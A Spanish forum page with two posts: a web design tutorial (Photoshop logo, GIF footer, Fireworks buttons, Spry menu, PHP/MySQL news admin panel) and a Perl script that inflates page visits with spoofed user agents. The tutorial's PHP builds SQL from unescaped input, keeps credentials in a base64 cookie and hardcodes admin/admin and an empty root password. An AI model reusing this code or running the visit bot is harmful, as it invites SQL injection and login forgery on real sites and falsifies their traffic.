Para crear un logo estilo GTA en Photoshop deben instalar primero la fuente necesaria del siguiente link , para instalar la fuente descargado solo arrastran y copian los archivos del comprimido en el directorio "c:/windows/fonts de Windows" , despues de eso cargamos Photoshop y seguimos los siguiente pasos :

Creamos un proyecto con las dimensiones 995x108 y fondo transparente como en la siguiente imagen :



Una vez creado ponganle de fondo una imagen cualquiera en mi caso recorto una imagen con paint y lo copio en el proyecto quedando algo asi :



Despues hacemos click en la opcion "Texto horizontal" y seleccionamos el tipo de fuente "Pricedown" , tamaño de letra 80 pt y tipo de color #ffffcc , entonces una vez hecho esto agregamos el texto "Probando" con la herramienta "Texto horizontal" seleccionada , todo deberia verse algo asi :



Ahora hacemos click derecho en la capa llamada "PROBANDO" que es el texto creado y hacemos click en "Opciones de Fusion" , entonces activamos el estilo "Trazo" , de tamaño pongan 3 y pongan de color #000000 , entonces hagan click en "OK" y les deberia quedar algo asi :





Ahora tenemos que seleccionar la "Capa 1" para ir despues a "Edicion->Contornear" , ponemos de anchura 8px  y de color #ffffcc , le damos a "OK" y se deberia ver algo asi :





Como detalle final sino les gusta la posicion del texto pueden mover el texto al centro o como mas les guste , en mi caso queda asi :



Para terminar guardamos el proyecto como "png" y volvemos a la plantilla creada con Dream y nos vamos al div "banner" , borramos el texto "Banner" y insertamos el logo creado con Photoshop , para eso nos vamos a "Insertar->Imagen" y ponemos en la ventana que nos abre la ruta de la imagen.

Nos deberia quedar algo asi :



0x03 : Creacion de un footer animado

Cargamos el programa "Anim-FX" y llenamos los campos de la siguiente forma :

Text 1 : TEST 1
2 : TEST 2
3 : TEST 3
4 : TEST 4
5 : TEST 5

Tipo de efecto : flash

Tamaño de letra : 145
Color de letra : El color es celeste claro que vendria a ser 52FEFD

Se les deberia ver algo asi :



Ahora cargamos el GifCam y hacemos click en "Rec" sobre la zona de la animacion que quieren grabar.
Despues de terminar de grabar hacemos click en "Stop" y despues en "Save" para despues grabar el gif donde quieran

Una vez terminado todo nos vamos al proyecto de dream y en el div footer borramos el texto "Footer" y insertamos el gif animado , para eso nos vamos a "Insertar->Imagen" y ponemos en la ventana que nos abre la ruta del gif.

Se les deberia ver algo asi :



Eso seria todo el footer animado.

0x04 : Creacion de botones en Fireworks

Para crear un boton en Fireworks primer cargamos el programa y hacemos click en crear un nuevo "Documento de Fireworks (PNG)" con las dimensiones de 100x50 y de colo de lienzo "transparente".

Les deberia quedar asi :



Una vez hecho esto vamos al cuadro de herramientas y seleccionamos "Rectangulo redondeado" de la herramienta "Rectangulo" que se encuentra en la sección "Vector".
Ya seleccionado creamos un rectangulo redondeado en la zona de trabajo del color que quieran , para ponerle un estilo primero seleccionen el rectangulo creado y despues seleccionen el estilo que quieran en el cuadro de herramientas derecho llamado "Activos->Estilos" quedando todo asi : 







En mi caso elegi el estilo mas parecido a Tron y desactivo el filtro "Sombra" porque no me gustaba como quedaba , los filtros estan en la parte de abajo del programa y se puede ver cuando estan aplicando el estilo.

Como ven ya tenemos la forma del boton , ahora vamos a ponerle texto , entonces seleccionamos la herramienta "herramienta de texto" para escribir "click" sobre el boton redondeado con el color que quieran , pueden mover el texto de posicion con la "herramienta puntero" si no les gusta como quedo.

Les deberia quedar algo asi , yo en mi caso elegi letra blanca :



Para terminar vamos a "Archivo->Guardar como" y guardamos el boton con el nombre que quieran , el formato que tendra sera de PNG.

Para usarlo en la plantilla que creamos con Dream vamos al div "otromenu" , borramos los links de ejemplo y pongan el siguiente codigo entre los div :

Código
  1. <a href="http://www.petardas.com"><img src="images/click.png"></a><br />
  2.  

Recuerden que el boton creado tiene que estar en una carpeta llamada images sino nunca se va a encontrar el boton.

Cambien petardas por el link que quieran y cambien click.png por el verdadero nombre y ruta del boton.

En mi caso use tres veces esa linea de codigo como ejemplo.

Les deberia quedar algo asi :





Y en el navegador se deberia ver asi :



Eso seria todo con los botones.

0x05 : Creacion de un menu desplegable

Bueno para hacer esto volvemos a la plantilla inicial con Dream y  borramos los links de ejemplo que estan la sección de categorias justamente en el div "menu" y agregamos un <br/> antes del </div> y otro despues del <h3> de categorias ,  y para terminar insertamos un menu vertical de la siguiente forma :

Insertar->Spry->Barra de menus de Spry y en la ventana que aparece seleccionamos "Vertical".

Deberiamos ver algo asi :



Primero vamos hacer click en el menu creado y desde ahi cambiar los textos de todos los "elementos" por "test" , cambien tanto en la columna 1 o en la columna 2 si es que se desplega otro menu a partir de ese.

Despues para poner un vinculo solo lo hacen desde la casilla correspondiente que esta abajo de la de "texto" , en mi caso solo voy a poner un link y va a ser en el "test2"

Deberian ver algo asi :



Ahora vamos a tunear el menu con colores raros con las siguientes pasos :

Para empezar seleccionamos el menu vertical y desde la sección de "Estilos CSS" hacemos click en "Actual" para despues seleccionar y hacer doble click en "border" 



Ahora vamos a la categoria "Borde" , en Estilo seleccionamos "doble" para todos , ancho 3 para todos y de color #2EFEF7 para todos.

Deberia quedar asi :



Despues vamos a "Estilos CSS" y despues a "Todo" para despues desplegar SpryMenuBarVertical.css.

Seleccionamos y hacemos doble click en "ul.MenuBarVertical a" para ir a la categoria "Tipo" y cambiar el color de la letra por celeste claro , ahora nos vamos a la categoria "Fondo" ponemos el color de fondo negro y para terminar ponemos la imagen de fondo "normal.jpg" con la opcion de "no repetir"

Quedando asi :







Ahora hacemos lo mismo con el "ul" que esta abajo del anterior solo que la fuente la dejan como esta y  la imagen de fondo va ser el fondo "hover.jpg" con la opcion de "no repetir".







Como menu final se les deberia ver algo asi :



Eso seria todo en el menu.

0x06 : Creacion un panel de administracion

Para empezar activemos el XAMPP o Easy PHP , despues creen las siguientes clases PHP en el directorio donde esta la pagina :

login_now.php

Código
  1. <?php
  2.  
  3. /*
  4.  
  5. Class : LoginNow
  6.  
  7. (c) Doddy Hackman 2015
  8.  
  9. */
  10.  
  11. class LoginNow
  12. {
  13.  
  14.    private $host;
  15.    private $db;
  16.    private $user;
  17.    private $pass;
  18.    private $tabla;
  19.    private $columna1;
  20.    private $columna2;
  21.    private $usereal;
  22.    private $passreal;
  23.    private $campouser;
  24.    private $campopass;
  25.    private $cookiename;
  26.  
  27.    public function campos($campouser, $campopass)
  28.    {
  29.        if (isset($_POST[$campouser])) {
  30.            $this->campouser = $_POST[$campouser];
  31.            $this->campopass = md5($_POST[$campopass]);
  32.        } else {
  33.            $this->campouser = $campouser;
  34.            $this->campopass = $campopass;
  35.        }
  36.    }
  37.  
  38.    public function database($host, $dbuser, $dbpass, $db, $tabla, $columna1, $columna2)
  39.    {
  40.        mysql_connect($host, $dbuser, $dbpass);
  41.        mysql_select_db($db);
  42.        $que = mysql_query("SELECT * FROM " . $tabla);
  43.        while ($test = mysql_fetch_array($que)) {
  44.            if ($this->campouser == $test[$columna1] and $this->campopass == $test[password]) {
  45.                $this->usereal  = $test[$columna1];
  46.                $this->passreal = $test[$columna2];
  47.                return true;
  48.            }
  49.        }
  50.    }
  51.  
  52.    public function secure($user, $pass)
  53.    {
  54.        if ($this->campouser == $user and $this->campopass == $pass) {
  55.            $this->usereal  = $user;
  56.            $this->passreal = $pass;
  57.            return true;
  58.        } else {
  59.            return false;
  60.        }
  61.    }
  62.  
  63.    public function cookienow($cookiename)
  64.    {
  65.        setcookie($cookiename, base64_encode($this->usereal . "@" . $this->passreal));
  66.    }
  67.  
  68. }
  69.  
  70. ?>
  71.  

noticion.php

Código
  1. <?php
  2.  
  3. /*
  4.  
  5. PHP Class : Noticion 1.0
  6.  
  7. (C) Doddy Hackman 2015
  8.  
  9. */
  10.  
  11.  
  12. class noticion
  13. {
  14.  
  15.    private $db;
  16.  
  17.    public function datos($host, $user, $pass, $db)
  18.    {
  19.  
  20.        $this->db = $db;
  21.  
  22.        if (@mysql_connect($host, $user, $pass)) {
  23.            if (@mysql_select_db($db)) {
  24.                return true;
  25.            }
  26.        }
  27.    }
  28.  
  29.    public function crear_categoria($nuevacategoria)
  30.    {
  31.  
  32.        $todo1 = "create table categoria_$nuevacategoria (
  33. id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  34. titulo VARCHAR(255) NOT NULL,
  35. contenido TEXT NOT NULL,
  36. fecha VARCHAR(255) NOT NULL,
  37. PRIMARY KEY (id));
  38. ";
  39.  
  40.        $todo2 = "create table comentarios_$nuevacategoria (
  41. id_noticia int(10),
  42. id_comentario int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  43. mensaje TEXT NOT NULL,
  44. apodo VARCHAR(255) NOT NULL,
  45. fecha VARCHAR(255) NOT NULL,
  46. PRIMARY KEY (id_comentario));
  47. ";
  48.  
  49.        if (@mysql_query($todo1)) {
  50.            if (@mysql_query($todo2)) {
  51.                return true;
  52.            }
  53.        }
  54.  
  55.    }
  56.  
  57.    public function eliminar_categoria($eliminarcategoria)
  58.    {
  59.  
  60.        if (@mysql_query("DROP TABLE categoria_$eliminarcategoria")) {
  61.            if (@mysql_query("DROP TABLE comentarios_$eliminarcategoria")) {
  62.                return true;
  63.            }
  64.  
  65.        }
  66.    }
  67.  
  68.  
  69.    public function eliminar($id, $categoria)
  70.    {
  71.        if (is_numeric($id)) {
  72.            if (@mysql_query("DELETE FROM categoria_$categoria where id='$id'")) {
  73.                return true;
  74.            }
  75.        }
  76.    }
  77.  
  78.    public function nueva_noticia($x_titulo, $x_contenido, $x_fecha, $categoria)
  79.    {
  80.        $sumo = mysql_query("SELECT MAX(id) FROM categoria_$categoria");
  81.  
  82.        $s = mysql_fetch_row($sumo);
  83.  
  84.        foreach ($s as $d) {
  85.            $x_id = $d + 1;
  86.        }
  87.        if (@mysql_query("INSERT INTO categoria_$categoria(id,titulo,contenido,fecha)values('$x_id','$x_titulo','$x_contenido','$x_fecha')")) {
  88.            return true;
  89.        }
  90.    }
  91.  
  92.    public function ver_este($id, $categoria)
  93.    {
  94.        if (is_numeric($id)) {
  95.            $total = array();
  96.            if ($que = @mysql_query("SELECT id,titulo,contenido,fecha FROM categoria_$categoria WHERE id='$id'")) {
  97.                while ($ver = @mysql_fetch_array($que)) {
  98.                    return array(
  99.                        $ver[0],
  100.                        $ver[1],
  101.                        $ver[2],
  102.                        $ver[3]
  103.                    );
  104.                }
  105.            }
  106.        }
  107.    }
  108.  
  109.    public function listar_categorias()
  110.    {
  111.  
  112.        $found = array();
  113.  
  114.        if ($re = @mysql_query("show tables from " . $this->db)) {
  115.  
  116.            while ($dat = mysql_fetch_row($re)) {
  117.                $separo = split("_", $dat[0]);
  118.                array_push($found, $separo[1]);
  119.            }
  120.            return array(
  121.                $found
  122.            );
  123.        }
  124.  
  125.    }
  126.  
  127.    public function ver_todo($categoria)
  128.    {
  129.        $total = array();
  130.        if ($que = @mysql_query("SELECT id,titulo,contenido,fecha FROM categoria_$categoria")) {
  131.            while ($ver = @mysql_fetch_array($que)) {
  132.                array_push($total, $ver);
  133.            }
  134.            return array(
  135.                $total
  136.            );
  137.        }
  138.    }
  139.  
  140.    public function mod($categoria, $id, $tit, $con, $fech)
  141.    {
  142.        if (@mysql_query("UPDATE categoria_$categoria SET id='$id',titulo='$tit',contenido='$con',fecha='$fech' where id='$id'")) {
  143.            return true;
  144.        }
  145.    }
  146.  
  147.    public function crear_comentario($categoria, $id_noticia, $fecha, $apodo, $mensaje)
  148.    {
  149.  
  150.        $sumo = mysql_query("SELECT MAX(id_comentario) FROM comentarios_$categoria");
  151.  
  152.        $s = mysql_fetch_row($sumo);
  153.  
  154.        foreach ($s as $d) {
  155.            $x_id = $d + 1;
  156.        }
  157.  
  158.        if (mysql_query("INSERT INTO comentarios_$categoria(fecha,apodo,mensaje,id_noticia,id_comentario)values('$fecha','$apodo','$mensaje','$id_noticia','$x_id')")) {
  159.            return true;
  160.        }
  161.  
  162.    }
  163.  
  164.    public function mod_comentario($categoria, $id, $fecha, $apodo, $contenido)
  165.    {
  166.        if (@mysql_query("UPDATE comentarios_$categoria SET id_comentario='$id',fecha='$fecha',apodo='$apodo',mensaje='$contenido' where id_comentario='$id'")) {
  167.            return true;
  168.        }
  169.    }
  170.  
  171.    public function ver_comentarios($categoria, $id)
  172.    {
  173.        $todo = array();
  174.        if ($ver = @mysql_query("SELECT id_noticia,id_comentario,apodo,mensaje,fecha FROM comentarios_$categoria")) {
  175.            while ($que = @mysql_fetch_array($ver)) {
  176.                if ($que[0] == 1) {
  177.                    array_push($todo, $que);
  178.                }
  179.            }
  180.            return array(
  181.                $todo
  182.            );
  183.        }
  184.  
  185.    }
  186.  
  187.  
  188.    public function borrar_comentario($categoria, $id)
  189.    {
  190.        if (is_numeric($id)) {
  191.            if (@mysql_query("DELETE FROM comentarios_$categoria where id_comentario='$id'")) {
  192.                return true;
  193.            }
  194.        }
  195.    }
  196.  
  197.  
  198.    public function cantidad_posts($categoria)
  199.    {
  200.        $valor    = mysql_query("SELECT MAX(id) FROM categoria_$categoria");
  201.        $cantidad = mysql_fetch_row($valor);
  202.        return $cantidad[0];
  203.    }
  204.  
  205.  
  206.    public function cerrar()
  207.    {
  208.        if (mysql_close()) {
  209.            return true;
  210.        }
  211.    }
  212.  
  213. }
  214.  
  215. // The End ?
  216.  
  217. ?>
  218.  

Ahora creen el siguiente codigo llamado admin.php :

Código
  1. <?php
  2.  
  3. include("login_now.php"); // LLamamos al archivo LoginNow.php
  4. include("noticion.php"); // Llamamos al archivo noticion.php
  5.  
  6. $username = "admin"; // Declaramos el usuario
  7. $password = "21232f297a57a5a743894a0e4a801fc3"; // Declaramos el password "admin" en md5
  8.  
  9. $host_mysql  = "localhost"; // Establecemos el host mysql
  10. $user_mysql  = "root"; //Establecemos el usuario mysql
  11. $pass_mysql  = ""; // Establecemos el password mysql
  12. $db_mysql    = "noticias"; // Establecemos la BD Mysql
  13. $tabla_mysql = "test"; // Declaramos el nombre de la tabla que contendra las noticias
  14.  
  15. $categoria = "test"; // Declaramos la categoria de las noticias
  16.  
  17. if (isset($_COOKIE['test'])) { // Si existe el cookie test ...
  18.    $comprobar = base64_decode($_COOKIE['test']); // Decodificamos sub contenido que esta en base64 y guardamos su contenido en la variable $comprobar
  19.    $parte     = preg_split("/@/", $comprobar); // Dividimos el usuario y el password que estan en entre @
  20.    $cookie    = new LoginNow; // Creamos el objeto de la clase LoginNow
  21.    $cookie->campos($parte[0], $parte[1]); // Establecemos los valores del usuario y el password que estan en la variable $parte
  22.    if ($cookie->secure($username, $password)) { // Verificamos con los valores globales que sean realmente los mismos passwords
  23.  
  24.        $noticia = New noticion; // Creamos el objeto noticion
  25.        $noticia->datos($host_mysql, $user_mysql, $pass_mysql, $db_mysql); // Establecemos los datos Mysql
  26.  
  27.        if (mysql_num_rows(mysql_query("show tables like 'categoria_$tabla_mysql'"))) { // Verificamos si existe la categoria
  28.  
  29.            echo "
  30. <title>Administrador</title>
  31. <br><h1><center>Administrador</center></h1><br>
  32. ";
  33.  
  34.            list($noticias) = $noticia->ver_todo($categoria); // Cargamos la lista de noticias
  35.  
  36.            echo "<center><table border=1>";
  37.  
  38.            foreach ($noticias as $ver) { // Listamos la lista de noticias
  39.                echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[1]) . "</td><td>" . htmlentities($ver[3]) . "</td><tr>"; // Mostramos el ID,Titulo y Fecha
  40.            }
  41.            echo "</table></center><br>";
  42.  
  43.            echo "
  44. <center>
  45. <form action='' method=POST>
  46. Titulo : <input type=text name=titulo value=titulo><br><br>
  47. Contenido : <input type=text name=contenido value=test><br><br>
  48. <input type=submit name=publicar value=Publicar>
  49. </form>
  50. </center>
  51. ";
  52.  
  53.            if (isset($_POST['publicar'])) {
  54.  
  55.                if ($noticia->nueva_noticia(addslashes($_POST['titulo']), addslashes($_POST['contenido']), addslashes(date('Y-m-d')), $categoria)) { // Creamos la noticia ...
  56.                    echo "<center>Noticia Subida</center>";
  57.                } else {
  58.                    echo "<center>Error</center>";
  59.                }
  60.            }
  61.  
  62.        } else {
  63.            $noticia->crear_categoria($categoria); // Creamos la categoria sino existe
  64.            echo "Tabla creada , reinicie la pagina";
  65.        }
  66.  
  67.        $noticia->cerrar();
  68.  
  69.    }
  70. } else {
  71.  
  72.    echo "
  73. <title>Login</title>
  74. <br><h1><center>Login</center></h1><br>
  75. <center>
  76. <form action='' method=POST>
  77. Usuario : <input type=text name=usuario><br>
  78. Password : <input type=password name=password><br><br>
  79. <input type=submit name=login value=Entrar><br>
  80. </form>
  81. </center>
  82. ";
  83.  
  84.    if (isset($_POST['login'])) {
  85.  
  86.        $login1 = new LoginNow; // Creamos el objeto de la calse LoginNow
  87.        $login1->campos("usuario", "password"); // Establecemos los campos html del formulario donde estan el usuario y el password
  88.        if ($login1->secure($username, $password)) { // Verificamos que sean los mismos que los globales
  89.            $login1->cookienow("test"); // Creamos una cookie llamada "test"
  90.            echo "<center>Bienvenido administrador</center>";
  91.        } else {
  92.            echo "<center>Error en el inicio de sesion</center>";
  93.        }
  94.    }
  95.  
  96. }
  97.  
  98. ?>
  99.  

Primero modifiquen los datos mysql por los suyos en el admin.php despues entren con el user y pass : "admin" , deberian ver esto :



Una vez logeados :



Ahora creen las noticias que quieran , yo en mi caso voy a publicar 5 sucesivamente con "titulo" y "test".

Despues de eso mi panel se vera asi :



Ahora cargamos la plantilla creada y usada anteriormente con Dream para ir al div "body" y borrar todo lo que contiene para copiar el siguiente codigo en PHP :

Código
  1. <?php
  2.  
  3. include("noticion.php"); // Llamamos al archivo noticion.php
  4.  
  5. $host_mysql  = "localhost"; // Establecemos el host mysql
  6. $user_mysql  = "root"; //Establecemos el usuario mysql
  7. $pass_mysql  = ""; // Establecemos el password mysql
  8. $db_mysql    = "noticias"; // Establecemos la BD Mysql
  9. $tabla_mysql = "test"; // Declaramos el nombre de la tabla que contendra las noticias
  10.  
  11. $categoria = "test"; // Declaramos la categoria de las noticias
  12.  
  13. $noticia = New noticion; // Creamos el objeto noticion
  14. $noticia->datos($host_mysql, $user_mysql, $pass_mysql, $db_mysql); // Establecemos los datos Mysql
  15.  
  16. list($noticias) = $noticia->ver_todo($categoria); // Cargamos la lista de noticias
  17.  
  18. foreach ($noticias as $ver) { // Listamos la lista de noticias
  19.    echo "<div class='post'>
  20. <h3>" . htmlentities($ver[1]) . "</h3>
  21. <p>" . htmlentities($ver[2]) . "</p>
  22. </div>";
  23. }
  24.  
  25. ?>
  26.  

Los dos codigos estan identados y comentados para que puedan entender.

Deberian ver algo como esto :



Y el resultado de la pagina con el sistema de noticias seria :
 


Eso seria todo.

--========--
 The End ?
--========--

Version PDF.

Version en VideoTutoriales :

https://www.youtube.com/watch?v=trrZJeyYJUQ
https://www.youtube.com/watch?v=GW-r3hOHz0Y
https://www.youtube.com/watch?v=sca5L7Lh_68
https://www.youtube.com/watch?v=y1CxJq_4ewY
https://www.youtube.com/watch?v=H-RWdyrdYwg
https://www.youtube.com/watch?v=QHE7OChFkjs

Cualquier error o sugerencia diganla para mejorar.
9  Programación / Scripting / [Perl] DH ViewBot 0.2 en: 16 Enero 2015, 16:59
Un simple script que sirve como bot para hacer visitas con las siguientes opciones :

  • Visitar una sola pagina
  • Visitar paginas en un archivo marcado de forma ordenada
  • Visitar paginas en un archivo marcado de forma aleatoria
  • Opciones para timeout y cantidad de visitas

El codigo :

Código
  1. #!usr/bin/perl
  2. #DH ViewBot 0.2
  3. #(C) Doddy Hackman 2015
  4.  
  5. use Getopt::Long;
  6. use LWP::UserAgent;
  7. use URI::Split qw(uri_split);
  8. use IO::Socket;
  9.  
  10. my @agents = (
  11. 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0',
  12.    'Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14',
  13. 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36',
  14. 'Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0',
  15. 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1',
  16.    'Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))',
  17. 'Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14',
  18. 'Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27'
  19. );
  20.  
  21. GetOptions(
  22.    "single=s"     => \$single_opt,
  23.    "file=s"       => \$file_opt,
  24.    "randomfile=s" => \$randomfile_opt,
  25.    "timeout=i"    => \$timeout_opt,
  26.    "count=i"      => \$count_opt
  27. );
  28.  
  29. head();
  30.  
  31. if ( $single_opt or $file_opt or $randomfile_opt ) {
  32.  
  33.    my $page = $single_opt;
  34.  
  35.    my $timeout = "";
  36.  
  37.    if ( $timeout_opt eq "" ) {
  38.        $timeout = "5";
  39.    }
  40.    else {
  41.        $timeout = $timeout_opt;
  42.    }
  43.  
  44.    my $count = "";
  45.  
  46.    if ( $count_opt eq "" ) {
  47.        $count = "10";
  48.    }
  49.    else {
  50.        $count = $count_opt;
  51.    }
  52.  
  53.    if ( $single_opt ne "" ) {
  54.  
  55.        my $page = $single_opt;
  56.  
  57.        print "\n[+] Configuration\n";
  58.  
  59.        print "\n--------------------------------------------------";
  60.        print "\n[+] Page : " . $page . "\n";
  61.        print "[+] Timeout : " . $timeout . "\n";
  62.        print "[+] Visit Count  : " . $count . "\n";
  63.        print "--------------------------------------------------";
  64.  
  65.        visitar( $page, $timeout, $count, "single" );
  66.  
  67.    }
  68.  
  69.    elsif ( $randomfile_opt ne "" ) {
  70.  
  71.        visitar_random( $randomfile_opt, $timeout, $count );
  72.  
  73.    }
  74.    elsif ( $file_opt ne "" ) {
  75.  
  76.        if ( $file_opt ne "" ) {
  77.  
  78.            unless ( -f $file_opt ) {
  79.                print "\n[-] File not exist\n";
  80.                copyright();
  81.                exit(1);
  82.            }
  83.  
  84.            print "\n" . toma_fecha_y_hora("Started");
  85.  
  86.            my @paginas = repes( leer_archivo($file_opt) );
  87.  
  88.            for my $page (@paginas) {
  89.  
  90.                chomp $page;
  91.  
  92.                print "\n--------------------------------------------------";
  93.                print "\n[+] Page : " . $page . "\n";
  94.                print "[+] Timeout : " . $timeout . "\n";
  95.                print "[+] Visit Count : " . $count . "\n";
  96.                print "--------------------------------------------------";
  97.  
  98.                visitar( $page, $timeout, $count, "file" );
  99.  
  100.            }
  101.  
  102.            print "\n" . toma_fecha_y_hora("Finished");
  103.  
  104.        }
  105.        else {
  106.            print "\n[-] Option not selected\n";
  107.            exit(1);
  108.        }
  109.  
  110.    }
  111.  
  112. }
  113. else {
  114.    print qq(
  115. [+] Options :
  116.  
  117. -single : Page to visit
  118. -file : File with pages to visit
  119. -randomfile : File with pages to visit as random
  120. -timeout : Time for visit
  121. -count : Count to visist
  122.  
  123. );
  124.    print
  125. "[+] Example : perl $0 -single http://www.supertangas.com/index.php -timeout 5 -count 50\n";
  126. }
  127. copyright();
  128.  
  129. # Functions
  130.  
  131. sub head {
  132.    print "\n-- == DH ViewBot 0.2 == --\n";
  133. }
  134.  
  135. sub copyright {
  136.    print "\n-- == (C) Doddy Hackman 2015 == --\n";
  137. }
  138.  
  139. sub visitar_random {
  140.  
  141.    my ( $file, $timeout, $count ) = @_;
  142.  
  143.    my @paginas     = repes( leer_archivo($file) );
  144.    my $total_bueno = "";
  145.    my $total_malo  = "";
  146.  
  147.    print "\n" . toma_fecha_y_hora("Started");
  148.  
  149.    for ( 1 .. $count ) {
  150.        my $target = $paginas[ rand(@paginas) ];
  151.        chomp $target;
  152.        print "\n--------------------------------------------------";
  153.        print "\n[+] Page : " . $target . "\n";
  154.        print "[+] Timeout : " . $timeout . "\n";
  155.        print "--------------------------------------------------";
  156.  
  157.        print "\n\n[+] Getting information ...\n\n";
  158.  
  159.        print toma_banner($target) . "\n";
  160.  
  161.        my ( $status, $control ) = toma_response($target);
  162.  
  163.        if ( $control eq "1" ) {
  164.            $total_bueno++;
  165.        }
  166.        else {
  167.            $total_malo++;
  168.        }
  169.  
  170.        print "\n[+] Visit $_ : $target : " . $status . "\n";
  171.  
  172.        sleep($timeout);
  173.  
  174.    }
  175.  
  176.    print "\n[+] Successful Visits : " . $total_bueno . "\n";
  177.  
  178.    print "\n" . toma_fecha_y_hora("Finished");
  179.  
  180. }
  181.  
  182. sub visitar {
  183.  
  184.    my ( $page, $timeout, $count, $type ) = @_;
  185.  
  186.    print "\n\n[+] Getting information ...\n\n";
  187.  
  188.    print toma_banner($page);
  189.  
  190.    if ( $type eq "single" ) {
  191.        print "\n\n" . toma_fecha_y_hora("Started") . "\n";
  192.    }
  193.    else {
  194.        print "\n\n" . "[+] Working ..." . "\n\n";
  195.    }
  196.  
  197.    my $total_bueno = "";
  198.    my $total_malo  = "";
  199.  
  200.    for ( 1 .. $count ) {
  201.  
  202.        sleep($timeout);
  203.  
  204.        my ( $status, $control ) = toma_response($page);
  205.  
  206.        if ( $control eq "1" ) {
  207.            $total_bueno++;
  208.        }
  209.        else {
  210.            $total_malo++;
  211.        }
  212.  
  213.        syswrite STDOUT, "[+] Visit $_ : $page : " . $status . "\r";
  214.  
  215.    }
  216.  
  217.    syswrite STDOUT,
  218.      "[+] Successful Visits : " . $total_bueno . "\t\t\t\t\t\t\t\t\t\t\r";
  219.  
  220.    if ( $type eq "single" ) {
  221.        print "\n" . toma_fecha_y_hora("Finished");
  222.    }
  223.    else {
  224.        print "\n" . "[+] Finished\n";
  225.    }
  226.  
  227. }
  228.  
  229. sub toma_response {
  230.    my $control = "";
  231.    my $nave    = LWP::UserAgent->new();
  232.    $nave->agent( $agents[ rand @agents ] );
  233.    $nave->timeout(5);
  234.    my $code = $nave->get( $_[0] );
  235.    if ( $code->is_success ) {
  236.        $control = "1";
  237.    }
  238.    else {
  239.        $control = "0";
  240.    }
  241.    my $status = $code->status_line();
  242.    return ( $status, $control );
  243. }
  244.  
  245. sub toma_banner {
  246.    my $resultado = "";
  247.    my $nave      = LWP::UserAgent->new();
  248.    $nave->agent( $agents[ rand @agents ] );
  249.    $nave->timeout(5);
  250.    my $code = $nave->get( $_[0] );
  251.    $resultado = $resultado
  252.      . "--------------------------------------------------------------------------";
  253.    $resultado = $resultado . "\n[+] IP : " . get_ip( $_[0] );
  254.    $resultado = $resultado . "\n[+] Date : " . $code->header('date');
  255.    $resultado = $resultado . "\n[+] Server : " . $code->header('server');
  256.    $resultado =
  257.      $resultado . "\n[+] Connection : " . $code->header('connection');
  258.    $resultado =
  259.      $resultado . "\n[+] Content-Type : " . $code->header('content-type');
  260.  
  261.    if ( $code->header("Set-Cookie") ne "" ) {
  262.        $resultado =
  263.          $resultado . "\n[+] Cookie : " . $code->header("Set-Cookie");
  264.    }
  265.    $resultado = $resultado
  266.      . "\n--------------------------------------------------------------------------";
  267.    return $resultado;
  268. }
  269.  
  270. sub get_ip {
  271.    my ( $nomesirve1, $host, $nomesirve2, $nomesirve3, $nomesirve4 ) =
  272.      uri_split( $_[0] );
  273.    my $get = gethostbyname($host);
  274.    return inet_ntoa($get);
  275. }
  276.  
  277. sub toma_fecha_y_hora {
  278.  
  279.    my (
  280.        $segundos, $minutos,    $hora,       $dia, $mes,
  281.        $año,     $nomesirve1, $nomesirve2, $nomesirve3
  282.    ) = localtime(time);
  283.  
  284.    $año += 1900;
  285.    $mes++;
  286.  
  287.    return "[+] $_[0] Time : " . "$dia/$mes/$año $hora:$minutos:$segundos\n";
  288.  
  289. }
  290.  
  291. sub repes {
  292.    my @limpio;
  293.    foreach $test (@_) {
  294.        push @limpio, $test unless $repe{$test}++;
  295.    }
  296.    return @limpio;
  297. }
  298.  
  299. sub leer_archivo {
  300.    my @r;
  301.    my @words;
  302.    open( FILE, $_[0] );
  303.    @words = <FILE>;
  304.    close FILE;
  305.    for (@words) {
  306.        push( @r, $_ );
  307.    }
  308.    return (@r);
  309. }
  310.  
  311. #The End ?
  312.  

Un ejemplo de uso :

Código:

C:\Users\Doddy\Desktop\WarFactory\Warfactory X\perl\DH ViewBot>view.pl

-- == DH ViewBot 0.2 == --

[+] Options :

-single : Page to visit
-file : File with pages to visit
-randomfile : File with pages to visit as random
-timeout : Time for visit
-count : Count to visist

[+] Example : perl C:\Users\Doddy\Desktop\WarFactory\Warfactory X\perl\DH ViewBo
t\view.pl -single http://www.supertangas.com/index.php -timeout 5 -count 50

-- == (C) Doddy Hackman 2015 == --

C:\Users\Doddy\Desktop\WarFactory\Warfactory X\perl\DH ViewBot>view.pl -single h
ttp://www.petardas.com/index.php -timeout 5 -count 5

-- == DH ViewBot 0.2 == --

[+] Configuration

--------------------------------------------------
[+] Page : http://www.petardas.com/index.php
[+] Timeout : 5
[+] Visit Count  : 5
--------------------------------------------------

[+] Getting information ...

--------------------------------------------------------------------------
[+] IP : 5.135.178.142
[+] Date : Fri, 2 Jan 2015 16:44:10 GMT
[+] Server : Apache/2.2.3 (CentOS)
[+] Connection : close
[+] Content-Type : text/html; charset=latin1
[+] Cookie : pais=AR; expires=Sat, 07-Feb-2015 16:44:10 GMT; path=/; domain=www.
petardas.com, cookieconsent=1; expires=Sat, 07-Feb-2015 16:44:10 GMT; path=/; do
main=www.petardas.com, esmovil=0; expires=Mon, 2-Jan-2015 00:17:30 GMT; path=/;
 domain=www.petardas.com
--------------------------------------------------------------------------

[+] Started Time : 2/1/2015 13:44:31

[+] Successful Visits : 5

[+] Finished Time : 2/1/2015 13:45:2

-- == (C) Doddy Hackman 2015 == --

